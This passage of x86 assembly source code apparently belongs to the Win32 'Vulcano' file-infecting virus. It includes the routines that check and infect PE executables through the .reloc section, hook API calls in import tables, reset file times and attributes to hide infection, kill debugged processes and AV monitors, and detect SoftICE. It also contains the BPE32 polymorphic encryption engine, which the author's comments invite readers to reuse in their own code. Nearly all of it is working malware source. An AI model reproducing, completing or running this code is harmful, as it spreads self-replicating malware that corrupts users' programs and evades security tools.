	test eax, eax
	jne n1_db
n2_db:	call t_write				;quit if error
	jmp m_thrd
n1_db:	push 0
	push eax
	mov eax, 0
ddTerminateProcess = dword ptr $-4		;destroy debugged process :)
	call eax
	jmp t_write

mThread:pushad					;main IPC thread
	@SEH_SetupFrame 	;setup SEH frame
	call gtDelta				;get delta

m_thrd:	mov edx, 0				;get thread ID number
t_number = dword ptr $-4
	mov ecx, VLCB_WaitGet
	lea esi, [ebp + data_buffer - mgdelta]
	call get_set_VLCB			;wait for request
	dec ecx
	jecxz Quit				;quit
	dec ecx
	jecxz Check				;check file
	cmp ecx, 1
	je Infect				;check and infect file
	cmp ecx, 2
	je Debug1				;check for debugger
	cmp ecx, 3
	je Debug2				;check for SoftICE
	cmp ecx, 4
	je Monitor				;kill AV monitors
	
	push 0
	call [ebp + ddSleep - mgdelta]		;switch to next thread
	jmp m_thrd				;and again...

Quit:	call t_write				;write result
end_mThread:
	@SEH_RemoveFrame			;remove SEH frame
	popad					;restore all registers
	ret					;and quit from thread
t_write:xor ecx, ecx				;set result
	inc ecx
t_wr:	inc ecx
	mov dword ptr [esi.WFD_szAlternateFileName], ecx	;write it
	mov ecx, VLCB_SetWait			;set and wait
	mov edx, [ebp + t_number - mgdelta]	;this thread
	call get_set_VLCB			;IPC!
	ret
Check:	@SEH_SetupFrame 	;setup SEH frame
	call CheckFile				;check file
	jecxz err_sCheck			;quit if error
_c1_ok:	@SEH_RemoveFrame			;remove SEH frame
	call t_write				;write result
	jmp m_thrd				;and quit
err_sCheck:
	@SEH_RemoveFrame			;remove SEH frame
d_wr:	xor ecx, ecx
	call t_wr				;write result
	jmp m_thrd				;and quit

Infect:	@SEH_SetupFrame 		;setup SEH frame
	call InfectFile				;check and infect file
	jmp _c1_ok				;and quit

InfectFile:
	lea esi, [esi.WFD_szFileName]		;get filename
	pushad
	xor eax, eax
	push eax
	push FILE_ATTRIBUTE_NORMAL
	push OPEN_EXISTING
	push eax
	push eax
	push GENERIC_READ or GENERIC_WRITE
	push esi
	mov eax, 0
ddCreateFileA = dword ptr $-4
	call eax				;open file
	inc eax
	je r_attr				;quit if error
	dec eax
	mov [ebp + hFile - mgdelta], eax	;save handle

	xor edx, edx
	push edx
	push edx
	push edx
	push PAGE_READWRITE
	push edx
	push eax
	mov eax, 0
ddCreateFileMappingA = dword ptr $-4
	call eax				;create file mapping
	xchg eax, ecx
	jecxz endCreateMapping			;quit if error
	mov [ebp + hMapFile - mgdelta], ecx	;save handle

	xor edx, edx
	push edx
	push edx
	push edx
	push FILE_MAP_WRITE
	push ecx
	mov eax, 0
ddMapViewOfFile = dword ptr $-4
	call eax				;map view of file
	xchg eax, ecx
	jecxz endMapFile			;quit if error
	mov [ebp + lpFile - mgdelta], ecx	;save base address
	jmp nOpen

endMapFile:
	push_LARGE_0				;store base address
lpFile = dword ptr $-4
	mov eax, 0
ddUnmapViewOfFile = dword ptr $-4
	call eax				;unmap view of file

endCreateMapping:
	push_LARGE_0				;store handle
hMapFile = dword ptr $-4
	call [ebp + ddCloseHandle - mgdelta]	;close file mapping

	lea eax, [ebp + data_buffer.WFD_ftLastWriteTime - mgdelta]
	push eax
	lea eax, [ebp + data_buffer.WFD_ftLastAccessTime - mgdelta]
	push eax
	lea eax, [ebp + data_buffer.WFD_ftCreationTime - mgdelta]
	push eax
	push dword ptr [ebp + hFile - mgdelta]
	mov eax, 0
ddSetFileTime = dword ptr $-4
	call eax				;set back file time

	push_LARGE_0				;store handle
hFile = dword ptr $-4
	call [ebp + ddCloseHandle - mgdelta]	;close file

r_attr:	push dword ptr [ebp + data_buffer - mgdelta]
	lea esi, [ebp + data_buffer.WFD_szFileName - mgdelta]
	push esi				;filename
	call [ebp + ddSetFileAttributesA - mgdelta]	;set back file attributes
	jmp c_error				;and quit

nOpen:	mov ebx, ecx
	cmp word ptr [ebx], IMAGE_DOS_SIGNATURE	;must be MZ
	jne endMapFile
	mov esi, [ebx.MZ_lfanew]
	add esi, ebx
	lodsd
	cmp eax, IMAGE_NT_SIGNATURE		;must be PE\0\0
	jne endMapFile
	cmp word ptr [esi.FH_Machine], IMAGE_FILE_MACHINE_I386	;must be 386+
	jne endMapFile
	mov ax, [esi.FH_Characteristics]
	test ax, IMAGE_FILE_EXECUTABLE_IMAGE	;must be executable
	je endMapFile
	test ax, IMAGE_FILE_DLL			;mustnt be DLL
	jne endMapFile
	test ax, IMAGE_FILE_SYSTEM		;mustnt be system file
	jne endMapFile
	mov al, byte ptr [esi.OH_Subsystem]
	test al, IMAGE_SUBSYSTEM_NATIVE		;and mustnt be driver (thanx GriYo !)
	jne endMapFile

	movzx ecx, word ptr [esi.FH_NumberOfSections]	;must be more than one section
	dec ecx
	test ecx, ecx
	je endMapFile
	imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER
	movzx edx, word ptr [esi.FH_SizeOfOptionalHeader]
	lea edi, [eax+edx+IMAGE_SIZEOF_FILE_HEADER]
	add edi, esi				;get to section header

	lea edx, [esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress-4]
	mov eax, [edx]
	test eax, eax
	je endMapFile				;quit if no relocs
	mov ecx, [edi.SH_VirtualAddress]
	cmp ecx, eax
	jne endMapFile				;is it .reloc section?
	cmp [edi.SH_SizeOfRawData], 1a00h
	jb endMapFile				;check if .reloc is big enough
	pushad
	xor eax, eax
	mov edi, edx
	stosd					;erase .reloc records
	stosd
	popad

	mov eax, ebx				;now we will try to
	xor ecx, ecx				;patch
it_patch:
	pushad					;one API call
	mov edx, dword ptr [ebp + crcpAPIs + ecx*4 - mgdelta]	;get CRC32
	test edx, edx
	jne c_patch
	popad
	jmp end_patch				;quit if end of record
c_patch:push dword ptr [edi.SH_VirtualAddress]	;patch address
	push edx				;CRC32
	mov [ebp + r2rp - mgdelta], eax		;infection stage
	call PatchIT				;try to patch API call
	mov [esp.Pushad_edx], eax		;save address
	test eax, eax
	popad
	jne end_patch				;quit if we got address
	inc ecx
	jmp it_patch				;API call not found, try another API

end_patch:
	mov eax, edx
	mov edx, [esi.NT_OptionalHeader.OH_ImageBase-4]	;get Image base
	mov [ebp + compressed + (ImgBase-decompressed) - mgdelta], edx	;save it
	lea edx, [ebp + compressed + (ddAPI-decompressed) - mgdelta]
	push dword ptr [edx]				;store prev. API call
	mov [edx], eax					;save new one
	pushad						;store all registers
	lea esi, [ebp + compressed+(VulcanoInit-decompressed) - mgdelta]
	mov edi, [edi.SH_PointerToRawData]
	add edi, ebx				;where to write body
	mov ecx, (decompressed-VulcanoInit+3)/4	;size of virus body
	call BPE32				;write morphed body to file!
	mov [esp.Pushad_eax], eax		;save size
	popad
	pop dword ptr [edx]			;restore API call
	or dword ptr [edi.SH_Characteristics], IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
						;set flags
	lea ecx, [edi.SH_VirtualSize]		;get virtual size
	add [ecx], eax				;correct it
	mov ecx, [esi.NT_OptionalHeader.OH_FileAlignment-4]
	xor edx, edx
	div ecx
	inc eax
	mul ecx
	mov edx, [edi.SH_SizeOfRawData]
	mov [edi.SH_SizeOfRawData], eax		;align SizeOfRawData
	test dword ptr [edi.SH_Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA
	je rs_ok
	sub eax, edx
	add [esi.NT_OptionalHeader.OH_SizeOfInitializedData-4], eax
						;update next field, if needed
rs_ok:	mov eax, [edi.SH_VirtualAddress]
	add eax, [edi.SH_VirtualSize]
	xor edx, edx
	mov ecx, [esi.NT_OptionalHeader.OH_SectionAlignment-4]
	div ecx
	inc eax
	mul ecx
	mov [esi.NT_OptionalHeader.OH_SizeOfImage-4], eax	;new SizeOfImage
	jmp endMapFile			;everything is ok, we can quit

CheckFile:
	pushad
	mov ebx, esi
	test [ebx.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
	jne c_error				;discard directory entries
	xor ecx, ecx
	cmp [ebx.WFD_nFileSizeHigh], ecx	;discard files >4GB
	jne c_error
	mov edi, [ebx.WFD_nFileSizeLow]
	cmp edi, 4000h				;discard small files
	jb c_error

	lea esi, [ebx.WFD_szFileName]		;get filename
	push esi
endf:	lodsb
	cmp al, '.'				;search for dot
	jne endf	
	dec esi
	lodsd					;get filename extension
	or eax, 20202020h			;make it lowercase
	not eax					;mask it
	pop esi
	cmp eax, not 'exe.'			;is it EXE?
	je extOK
	cmp eax, not 'rcs.'			;is it SCR?
	je extOK
	cmp eax, not 'xfs.'			;is it SFX?
	je extOK
	cmp eax, not 'lpc.'			;is it CPL?
	je extOK
	cmp eax, not 'tad.'			;is it DAT?
	je extOK
	cmp eax, not 'kab.'			;is it BAK?
	je extOK
	xor ecx, ecx
	inc ecx
c_error:mov [esp.Pushad_ecx], ecx		;save result
	popad
	ret
extOK:	push FILE_ATTRIBUTE_NORMAL		;normal file
	push esi				;filename
	mov eax, 0
ddSetFileAttributesA = dword ptr $-4
	call eax				;blank file attributes
	xchg eax, ecx
	jmp c_error


get_set_VLCB:		;get/set VLCB records procedure (IPC)
			;input:	ECX	  -	0=set/wait else wait/get
			;	ESI	  -	pointer to data, if ECX!=0
			;	EBX	  -	ID number of request
			;	EDX	  -	-1, if random thread, otherwise
			;		  -	number of thread.
			;output:ECX	  -	if input ECX!=0, ECX=ID
			;		  -	if error, ECX=-1
			;	EDX	  -	if ECX!=0, number of thread
			;	ESI	  -	ptr to data, if input ECX=0
	mov edi, 0
vlcbBase = dword ptr $-4
	inc edx
	je t_rnd				;get random record
	dec edx
	imul eax, edx, VLCB_TSize-8
	add edi, eax
	jecxz sw_VLCB
	cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0
	je qq
	call w_wait				;wait for free mutex
	pushad
	xchg esi, edi
	lea esi, [esi.VLCB_TSep.VLCB_TData]
	mov ecx, (VLCB_TSize-8)/4
	rep movsd				;copy data
	popad
	mov ecx, [edi.VLCB_TSep.VLCB_TID]	;get ID
	push ecx
	call r_mutex				;release mutex
	pop ecx
	ret					;and quit
t_next:	add edi, VLCB_TSize-8			;move to next record
	inc edx
	loop tsrch
qqq:	pop ecx
qq:	xor ecx, ecx
	dec ecx
	ret
t_rnd:	push ecx				;pass thru 20 records
	push 20
	pop ecx
	xor edx, edx
tsrch:	cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0
	je t_next				;check if its free
	pop ecx
sw_VLCB:call w_wait				;wait for free mutex
	pushad
	lea edi, [edi.VLCB_TSep.VLCB_TData]
	mov ecx, (VLCB_TSize-8)/4
	rep movsd				;copy data
	popad
	mov [edi.VLCB_TSep.VLCB_TID], ebx
	pushad
	lea esi, [edi.VLCB_TSep.VLCB_TData.WFD_szAlternateFileName]
	mov ebp, [esi]				;get result
	call r_mutex				;signalize mutex
slp:	call sleep				;switch to next thread
	cmp [esi], ebp				;check for change
	je slp					;no change, wait
	popad
	xor ecx, ecx
	ret					;quit
w_wait:	call open_mutex				;open mutex
	push eax
	push 10000				;wait 10 seconds
	push eax
	mov eax, 0
ddWaitForSingleObject = dword ptr $-4
	call eax
	test eax, eax
	pop eax
	jne qqq					;quit if not signalized
	call close_mutex			;close mutex
	ret					;and quit
open_mutex:
	lea eax, [edi.VLCB_TSep.VLCB_THandle]	;name of mutex
	push eax
	push 0
	push 0f0000h or 100000h or 1		;access flags
	mov eax, 0
ddOpenMutexA = dword ptr $-4			;open mutex
	call eax
	ret
r_mutex:call open_mutex				;open mutex
	push eax
	push eax
	mov eax, 0
ddReleaseMutex = dword ptr $-4
	call eax				;singalize mutex
	pop eax
close_mutex:
	push eax
	mov eax, 0
ddCloseHandle = dword ptr $-4
	call eax				;close mutex
	ret
sleep:	push 0					;switch to next thread
	mov eax, 0
ddSleep = dword ptr $-4
	call eax				;switch!
	ret


Check&Infect:
	pushad
	mov esi, ebx				;get ptr to data
	pushad
	call vlcb_stuph				;common stuph
	mov ebx, VLCB_Check			;check only
	call get_set_VLCB			;IPC!
	inc ecx
	popad
	je _ret_				;quit if error
	mov eax, dword ptr [esi.WFD_szAlternateFileName]
	dec eax
	test eax, eax
	je _ret_
sc1_ok:	call vlcb_stuph				;common stuph
	mov ebx, VLCB_Infect			;check and infect
	call get_set_VLCB			;IPC!
_ret_:	popad
	ret

CRC32:	push ecx				;procedure to calculate	CRC32
	push edx
	push ebx       
        xor ecx, ecx   
        dec ecx        
        mov edx, ecx   
NextByteCRC:           
        xor eax, eax   
        xor ebx, ebx   
        lodsb          
        xor al, cl     
	mov cl, ch
	mov ch, dl
	mov dl, dh
	mov dh, 8
NextBitCRC:
	shr bx, 1
	rcr ax, 1
	jnc NoCRC
	xor ax, 08320h
	xor bx, 0edb8h
NoCRC:  dec dh
	jnz NextBitCRC
	xor ecx, eax
	xor edx, ebx
        dec edi
	jne NextByteCRC
	not edx
	not ecx
	pop ebx
	mov eax, edx
	rol eax, 16
	mov ax, cx
	pop edx
	pop ecx
	ret


SearchET:		;procedure for recieving API names from Export table
	pushad					;save all registers
	@SEH_SetupFrame 	;setup SEH frame
	mov edi, [eax.MZ_lfanew]		;get ptr to PE header
	add edi, eax				;make pointer raw
	mov ecx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
	jecxz address_not_found			;quit, if no exports
	mov ebx, eax
	add ebx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
	mov edx, eax				;get RVA to Export table
	add edx, [ebx.ED_AddressOfNames]	;offset to names
	mov ecx, [ebx.ED_NumberOfNames]		;number of name
	mov edi, esi
	push edi
	xchg eax, ebp
	xor eax, eax
APIname:push eax
	mov esi, ebp
	add esi, [edx+eax*4]			;get to API name
	push esi
	@endsz					;get to the end of API name
	sub esi, [esp]				;get size of API name
	mov edi, esi				;to EDI
	pop esi					;restore ptr to API name
	call CRC32				;get its CRC32
	mov edi, [esp+4]			;get requested CRC32
	cmp eax, [edi]				;is it same
	pop eax
	je mcrc					;yeah
nchar:	inc eax					;no, increment counter
	loop APIname				;and get next API name
	pop eax					;clean stack
address_not_found:
	xor eax, eax				;and quit
	jmp endGPA
mcrc:	pop edx
	mov edx, ebp
	add edx, [ebx.ED_AddressOfOrdinals]	;skip over ordinals
	movzx eax, word ptr [edx+eax*2]
	cmp eax, [ebx.ED_NumberOfFunctions]
	jae address_not_found
	mov edx, ebp
	add edx, [ebx.ED_AddressOfFunctions]	;get start of function addresses
	add ebp, [edx+eax*4]			;make it pointer to our API
	xchg eax, ebp				;address to EAX
endGPA:	@SEH_RemoveFrame			;remove SEH frame
	mov [esp.Pushad_eax], eax		;store address
	popad					;restore all registers
	ret					;and quit


a_go:	inc esi					;jump over alignments
	inc esi
	pushad					;store all registers
	xor edx, edx				;zero EDX
	xchg eax, esi
	push 2
	pop ecx
	div ecx
	test edx, edx
	je end_align				;no alignments needed
	inc eax					;align API name
end_align:
	mul ecx
	mov [esp.Pushad_esi], eax
	popad					;restore all registers
	ret


PatchIT	Proc				;procedure for patching API calls
	pushad					;store all registers
	@SEH_SetupFrame 		;setup SEH frame
	call itDlta
itDelta:db	0b8h
itDlta:	pop ebp
	mov [ebp + gmh - itDelta], eax		;save it
	mov ebx, [eax.MZ_lfanew]		;get to PE header
	add ebx, eax				;make pointer raw
	push dword ptr [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
	call rva2raw
	pop edx
	sub edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
	push edi
n_dll:	pop edi
	add edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
	lea edi, [ebp + szK32 - itDelta]	;get Kernel32 name
	mov esi, [edx]
	test esi, esi
	je endPIT
sdll:	push dword ptr [edx.ID_Name]
	call rva2raw
	pop esi
	push edi
	cmpsd					;is it K32?
	jne n_dll
	cmpsd
	jne n_dll
	cmpsd
	jne n_dll
	pop edi
	xor ecx, ecx				;zero counter
	push dword ptr [edx.ID_OriginalFirstThunk]	;get first record
	call rva2raw
	pop esi
	push dword ptr [esi]			;get first API name
	call rva2raw
	pop esi
pit_align:
	call a_go
	push esi				;store pointer
	@endsz					;get to the end of API name
	mov edi, esi
	sub edi, [esp]				;move size of API name to EDI
	pop esi					;restore pointer
	push eax				;store EAX
	call CRC32				;calculate CRC32 of API name
	cmp eax, [esp.cPushad+10h]		;check, if it is requested API
	je a_ok					;yeah, it is
	inc ecx
	mov eax, [esi]				;check, if there is next API
	test eax, eax				;...
	pop eax					;restore EAX
	jne pit_align				;yeah, check it
	jmp endPIT				;no, quit
a_ok:	pop eax					;restore EAX
	push dword ptr [edx.ID_FirstThunk]	;get address to IAT
	call rva2raw
	pop edx
	mov eax, [edx+ecx*4]			;get address
	mov [esp.Pushad_eax+8], eax		;and save it to stack
	pushad					;store all registers
	mov eax, 0				;get base address of program
gmh = dword ptr $-4
	mov ebx, [eax.MZ_lfanew]
	add ebx, eax				;get PE header

	push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode]	;get base of code
	call rva2raw				;normalize
	pop esi					;to ESI
	mov ecx, [ebx.NT_OptionalHeader.OH_SizeOfCode]	;and its size
	pushad
	call p_var
	dd	?
p_var:	push PAGE_EXECUTE_READWRITE
	push ecx
	push esi
	mov eax, 0
ddVirtualProtect = dword ptr $-4
	call eax				;set writable right
	test eax, eax
	popad
	je endPIT
sJMP:	mov dl, [esi]				;get byte from code
	inc esi
	cmp dl, 0ffh				;is it JMP/CALL?
	jne lJMP		                ;check, if it is          
	cmp byte ptr [esi], 25h                 ;JMP DWORD PTR [XXXXXXXXh]
	je gIT1                                                            
	cmp byte ptr [esi], 15h			;or CALL DWORD PTR [XXXXXXXXh]
	jne lJMP
	mov dl, 0e8h
	jmp gIT2
gIT1:	mov dl, 0e9h
gIT2:	mov [ebp + j_or_c - itDelta], dl	;change opcode
	mov edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
	add edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Size]
	push ecx
	mov ecx, [ebx.NT_OptionalHeader.OH_ImageBase]
	add edi, ecx
	push ebp
	mov ebp, [esi+1]
	sub ebp, ecx
	push ebp
	call rva2raw
	pop ebp
	sub ebp, eax
	add ebp, ecx
	sub edi, ebp
	pop ebp
	pop ecx
	js lJMP				;check, if it is correct address
	push ecx
	push edx				;store EDX
	mov edx, [esp.Pushad_ecx+8]		;get counter
	imul edx, 4				;multiply it by 4
	add edx, [esp.Pushad_edx+8]		;add address to IAT to ptr
	sub edx, eax
	mov ecx, [esi+1]
	sub ecx, [ebx.NT_OptionalHeader.OH_ImageBase]
	push ecx
	call rva2raw
	pop ecx
	sub ecx, eax
	cmp edx, ecx				;is it current address
	pop edx
	pop ecx					;restore EDX
	jne sJMP				;no, get next address
	mov eax, [esi+1]
	mov [esp.cPushad.Pushad_eax+8], eax	;store register to stack
	mov [esp.Pushad_esi], esi		;for l8r use
	popad					;restore all registers

	mov byte ptr [esi-1], 0e9h		;build JMP or CALL
j_or_c = byte ptr $-1
	mov ebx, [esi+1]
	mov eax, [esp.cPushad+10h]		;get address
	add eax, [ebp + gmh - itDelta]
	sub eax, esi				;- current address
	sub eax, 4				;+1-5
	mov [esi], eax				;store built jmp instruction
	mov byte ptr [esi+4], 90h
	xchg eax, ebx
	jmp endIT				;and quit
lJMP:	dec ecx
	jecxz endPIT-1
	jmp sJMP				;search in a loop
	popad					;restore all registers
endPIT:	xor eax, eax
	mov [esp.Pushad_eax+8], eax
endIT:	@SEH_RemoveFrame			;remove SEH frame
	popad					;restore all registers
	ret 8					;and quit
PatchIT	EndP

rva2raw:pushad			;procedure for converting RVAs to RAW pointers
	mov ecx, 0				;0 if actual program
r2rp = dword ptr $-4
	jecxz nr2r
	mov edx, [esp.cPushad+4]		;no comments needed :)
	movzx ecx, word ptr [ebx.NT_FileHeader.FH_NumberOfSections]
	movzx esi, word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]
	lea esi, [esi+ebx+IMAGE_SIZEOF_FILE_HEADER+4]
n_r2r:	mov edi, [esi.SH_VirtualAddress]
	add edi, [esi.SH_VirtualSize]
	cmp edx, edi
	jb c_r2r
	add esi, IMAGE_SIZEOF_SECTION_HEADER
	loop n_r2r
	popad
	ret
nr2r:	add [esp.cPushad+4], eax
	popad
	ret
c_r2r:	add eax, [esi.SH_PointerToRawData]
	add eax, edx
	sub eax, [esi.SH_VirtualAddress]
	mov [esp.cPushad+4], eax
	popad
	ret


NewThread:					;thread starts here
	pushad					;store all registers
	@SEH_SetupFrame 
	mov ebp, [esp+2ch]			;get delta parameter
	xor ecx, ecx				;zero ECX
	and dword ptr [ebp + r2rp - gdelta], 0
g_hook:	mov eax, [ebp + newHookers + ecx*4 - gdelta]	;take address to hooker
	test eax, eax				;is it 0?
	je q_hook				;yeah, quit
	add eax, ebp
	sub eax, [ebp + GMHA - gdelta]
	push eax				;store address
	push dword ptr [ebp + crchAPIs + ecx*4 - gdelta]	;store CRC32
	mov eax, 0
GMHA = dword ptr $-4
	call PatchIT				;and patch Import Table
	mov esi, [ebp + oldHookers + ecx*4 - gdelta]
	add esi, ebp
	mov [esi], eax				;save old hooker
	inc ecx					;increment counter
	jmp g_hook				;loop
q_hook:	@SEH_RemoveFrame
	popad					;restore all registers
	ret					;and terminate thread


;BPE32 (Benny's Polymorphic Engine for Win32) starts here. U can find first
;version of BPE32 in DDT#1 e-zine. But unfortunately, how it usualy goes,
;there were TWO, REALLY SILLY/TINY bugs. I found them and corrected them. So,
;if u wanna use BPE32 in your code, use this version, not that version from
;DDT#1. Very BIG sorry to everyone, who had/has/will have problems with it.
;I also included there SALC opcode as a junk instruction.

BPE32   Proc
	pushad					;save all regs
	push edi				;save these regs for l8r use
	push ecx				;	...
	mov edx, edi				;	...
	push esi				;preserve this reg
	call rjunk				;generate random junk instructions
	pop esi					;restore it
	mov al, 0e8h				;create CALL instruction
	stosb					;	...
	mov eax, ecx				;	...
	imul eax, 4				;	...
	stosd					;	...

	mov eax, edx				;calculate size of CALL+junx
	sub edx, edi				;	...
	neg edx					;	...
	add edx, eax				;	...
	push edx				;save it

	push 0					;get random number
	call random				;	...
	xchg edx, eax
	mov [ebp + xor_key - mgdelta], edx	;use it as xor constant
	push 0					;get random number
	call random				;	...
	xchg ebx, eax
	mov [ebp + key_inc - mgdelta], ebx	;use it as key increment constant
x_loop:	lodsd					;load DWORD
	xor eax, edx				;encrypt it
	stosd					;store encrypted DWORD
	add edx, ebx				;increment key
	loop x_loop				;next DWORD

	call rjunk				;generate junx

	mov eax, 0006e860h			;generate SEH handler
	stosd					;	...
	mov eax, 648b0000h			;	...
	stosd					;	...
	mov eax, 0ceb0824h			;	...
	stosd					;	...

greg0:	call get_reg				;get random register
	cmp al, 5				;MUST NOT be EBP register
	je greg0
	mov bl, al				;store register
	mov dl, 11				;proc parameter (do not generate MOV)
	call make_xor				;create XOR or SUB instruction
	inc edx					;destroy parameter
	mov al, 64h				;generate FS:
	stosb					;store it
	mov eax, 896430ffh			;next SEH instructions
	or ah, bl				;change register
	stosd					;store them
	mov al, 20h				;	...
	add al, bl				;	...
	stosb					;	...

	push 2					;get random number
	call random
	test eax, eax
	je _byte_
	mov al, 0feh				;generate INC DWORD PTR
	jmp _dw_
_byte_:	mov al, 0ffh				;generate INC BYTE PTR
_dw_:	stosb					;store it
	mov al, bl				;store register
	stosb					;	...
	mov al, 0ebh				;generate JUMP SHORT
	stosb					;	...
	mov al, -24d				;generate jump to start of code (trick
        stosb                                   ;for better emulators, e.g. NODICE32)

	call rjunk				;generate junx
greg1:	call get_reg				;generate random register
	cmp al, 5				;MUST NOT be EBP
	je greg1
	mov bl, al				;store it

	call make_xor				;generate XOR,SUB reg, reg or MOV reg, 0

	mov al, 64h				;next SEH instructions
	stosb					;	...
	mov al, 8fh				;	...
	stosb					;	...
	mov al, bl				;	...
	stosb					;	...
	mov al, 58h				;	...
	add al, bl				;	...
	stosb					;	...

	mov al, 0e8h				;generate CALL
	stosb					;	...
	xor eax, eax				;	...
	stosd					;	...
	push edi				;store for l8r use
	call rjunk				;call junk generator

	call get_reg				;random register
	mov bl, al				;store it
	push 1					;random number (0-1)
	call random				;	...
	test eax, eax
	jne next_delta

	mov al, 8bh				;generate MOV reg, [ESP]; POP EAX
	stosb
	mov al, 80h
	or al, bl
	rol al, 3
	stosb
	mov al, 24h
	stosb
	mov al, 58h
	jmp bdelta

next_delta:
	mov al, bl				;generate POP reg; SUB reg, ...
	add al, 58h
bdelta:	stosb
	mov al, 81h
	stosb
	mov al, 0e8h
	add al, bl
	stosb
	pop eax
	stosd
	call rjunk				;random junx

	xor bh, bh				;parameter (first execution only)
	call greg2				;generate MOV sourcereg, ...
	mov al, 3				;generate ADD sourcereg, deltaoffset
	stosb					;	...
	mov al, 18h				;	...
	or al, bh				;	...
	rol al, 3				;	...
	or al, bl				;	...
	stosb					;	...
	mov esi, ebx				;store EBX
	call greg2				;generate MOV countreg, ...
	mov cl, bh				;store count register
	mov ebx, esi				;restore EBX

	call greg3				;generate MOV keyreg, ...
	push edi				;store this position for jump to decryptor
	mov al, 31h				;generate XOR [sourcereg], keyreg
	stosb					;	...
	mov al, ch				;	...
	rol al, 3				;	...
	or al, bh				;	...
	stosb					;	...

	push 6					;this stuff will choose ordinary of calls
	call random				;to code generators
	test eax, eax
	je g5					;GREG4 - key incremention
	cmp al, 1				;GREG5 - source incremention
	je g1					;GREG6 - count decremention
	cmp al, 2				;GREG7 - decryption loop
	je g2
	cmp al, 3
	je g3
	cmp al, 4
	je g4

g0:	call gg1
	call greg6
	jmp g_end
g1:	call gg2
	call greg5
	jmp g_end
g2:	call greg5
	call gg2
	jmp g_end
g3:	call greg5
gg3:	call greg6
	jmp g_out
g4:	call greg6
	call gg1
	jmp g_end
g5:	call greg6
	call greg5
g_out:	call greg4
g_end:	call greg7
	mov al, 61h				;generate POPAD instruction
	stosb					;	...
	call rjunk				;junk instruction generator
	mov al, 0c3h				;RET instruction
	stosb					;	...
	pop eax					;calculate size of decryptor and encrypted data
	sub eax, edi				;	...
	neg eax					;	...
	mov [esp.Pushad_eax], eax		;store it to EAX register
	popad					;restore all regs
	ret					;and thats all folx
get_reg proc					;this procedure generates random register
	push 8					;random number (0-7)
	call random				;	...
	test eax, eax
	je get_reg				;MUST NOT be 0 (=EAX is used as junk register)
	cmp al, 100b				;MUST NOT be ESP
	je get_reg
	ret
get_reg endp
make_xor proc					;this procedure will generate instruction, that
	push 3					;will nulify register (BL as parameter)
	call random
	test eax, eax
	je _sub_
	cmp al, 1
	je _mov_
	mov al, 33h				;generate XOR reg, reg
	jmp _xor_
_sub_:	mov al, 2bh				;generate SUB reg, reg
_xor_:	stosb
	mov al, 18h
	or al, bl
	rol al, 3
	or al, bl
	stosb
	ret
_mov_:	cmp dl, 11				;generate MOV reg, 0
	je make_xor
	mov al, 0b8h
	add al, bl
	stosb
	xor eax, eax
	stosd
	ret
make_xor endp
gg1:	call greg4
	jmp greg5
gg2:	call greg4
	jmp greg6

random	proc					;this procedure will generate random number
						;in range from 0 to pushed_parameter-1
						;0 = do not truncate result
	push edx				;save EDX
        RDTCS					;RDTCS instruction - reads PCs tix and stores
						;number of them into pair EDX:EAX
	xor edx, edx				;nulify EDX, we need only EAX
	cmp [esp+8], edx			;is parameter==0 ?
	je r_out				;yeah, do not truncate result
	div dword ptr [esp+8]			;divide it
	xchg eax, edx				;remainder as result
r_out:	pop edx					;restore EDX
	ret Pshd				;quit procedure and destroy pushed parameter
random	endp
make_xor2 proc					;create XOR instruction
	mov al, 81h
	stosb
	mov al, 0f0h
	add al, bh
	stosb
	ret
make_xor2 endp

greg2	proc					;1 parameter = source/count value
	call get_reg				;get register
	cmp al, bl				;already used ?
	je greg2
	cmp al, 5
	je greg2
	cmp al, bh
	je greg2
	mov bh, al

	mov ecx, [esp+4]			;get parameter
	push 5					;choose instructions
	call random
	test eax, eax
	je s_next0
	cmp al, 1
	je s_next1
	cmp al, 2
	je s_next2
	cmp al, 3
	je s_next3

	mov al, 0b8h				;MOV reg, random_value
	add al, bh				;XOR reg, value
	stosb					;param = random_value xor value
	push 0
	call random
	xor ecx, eax
	stosd
	call make_xor2
	mov eax, ecx
	jmp n_end2
s_next0:mov al, 68h				;PUSH random_value
	stosb					;POP reg
	push 0					;XOR reg, value
	call random				;result = random_value xor value
	xchg eax, ecx
	xor eax, ecx
	stosd
	mov al, 58h
	add al, bh
	stosb
	call make_xor2
	xchg eax, ecx
	jmp n_end2
s_next1:mov al, 0b8h				;MOV EAX, random_value
	stosb					;MOV reg, EAX
	push 0					;SUB reg, value
	call random				;result = random_value - value
	stosd
	push eax
	mov al, 8bh
	stosb
	mov al, 18h
	or al, bh
	rol al, 3
	stosb
	mov al, 81h
	stosb
	mov al, 0e8h
	add al, bh
	stosb
	pop eax
	sub eax, ecx
	jmp n_end2
s_next2:push ebx				;XOR reg, reg
	mov bl, bh				;XOR reg, random_value
	call make_xor				;ADD reg, value
	pop ebx					;result = random_value + value
	call make_xor2
	push 0
	call random
	sub ecx, eax
	stosd
	push ecx
	call s_lbl
	pop eax
	jmp n_end2
s_lbl:	mov al, 81h				;create ADD reg, ... instruction
	stosb
	mov al, 0c0h
	add al, bh
	stosb
	ret
s_next3:push ebx				;XOR reg, reg
	mov bl, bh				;ADD reg, random_value
	call make_xor				;XOR reg, value
	pop ebx					;result = random_value xor value
	push 0
	call random
	push eax
	xor eax, ecx
	xchg eax, ecx
	call s_lbl
	xchg eax, ecx
	stosd
	call make_xor2
	pop eax	
n_end2:	stosd
	push esi
	call rjunk
	pop esi
	ret Pshd
greg2	endp

greg3	proc
	call get_reg				;get register
	cmp al, 5				;already used ?
	je greg3
	cmp al, bl
	je greg3
